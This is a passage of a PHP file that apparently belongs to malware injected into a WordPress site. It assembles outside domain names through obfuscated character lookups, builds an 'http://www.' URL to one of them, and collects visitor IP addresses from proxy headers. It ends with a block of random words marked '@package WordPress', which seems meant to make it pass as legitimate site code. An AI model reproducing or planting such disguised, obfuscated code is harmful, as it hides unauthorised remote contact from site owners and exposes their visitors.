		$arr[0]=$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{8}.$O00O0O{21}.$O00O0O{14}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[1]=$O00O0O{12}.$O00O0O{18}.$O00O0O{10}.$O00O0O{3}.$O00O0O{8}.$O00O0O{18}.$O00O0O{19}.$O00O0O{15}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[2]=$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{15}.$O00O0O{8}.$O00O0O{12}.$O00O0O{14}.$O00O0O{1}.$O00O0O{13}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[3]=$O00O0O{11}.$O00O0O{0}.$O00O0O{21}.$O00O0O{8}.$O00O0O{18}.$O00O0O{14}.$O00O0O{16}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[4]=$O00O0O{9}.$O00O0O{17}.$O00O0O{1}.$O00O0O{0}.$O00O0O{14}.$O00O0O{1}.$O00O0O{0}.$O00O0O{14}.$O00O0O{8}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
	return $arr;
}

	
function getthisdom(){
	$myArrs = getarr();
    return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
} 
 
 
 
function get_real_ip(){
	
	
	   $ip = '';
    /**
     * resolve any proxies
     */
    if (isset($_SERVER)) {
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];
      } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];
      } else {
        $ip = $_SERVER['REMOTE_ADDR'];
      }
    }
    if (trim($ip) == '') {
      if (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
      } elseif (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
      } else {
        $ip = getenv('REMOTE_ADDR');
      }
    }

    /**
     * sanitize for validity as an IPv4 or IPv6 address
     */
    $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);

    /**
     *  if it's still blank, set to a single dot
     */
    if (trim($ip) == '') $ip = '.';

    return $ip;
	
	}
 
 
/**
 * aware compete dash entitle glory idle interpret media mist nuisance previous resemble sexual slender stripe submerge the virtual yield.
 * approve bother bureau capture catalog chaos competent data display echo export garbage interpretation passport reveal thrust trace whatsoever withstand.
 * bundle erect evolve expand extinct gesture interpretation luxury petroleum release resolve tension.
 * accomplish coach commit debt exclusive forbid gesture global horror individual loosen oval religion respond snap stripe talent urgent vertical.
 * applicable comedy drift dusk essential infant label mission orient passport peak prohibit semester sensitive shift subsequent subway survey temporary ultimate victim voluntary xploit.
 * accelerate acquire blast dump durable facility jam jungle portion powder scratch.
 * data defect geology grand grateful invade prompt provision reject.
 * automatic elaborate evolution jungle leap loose opponent remote security slope trace vague.
 *
 * @package WordPress
 */

 
//file end
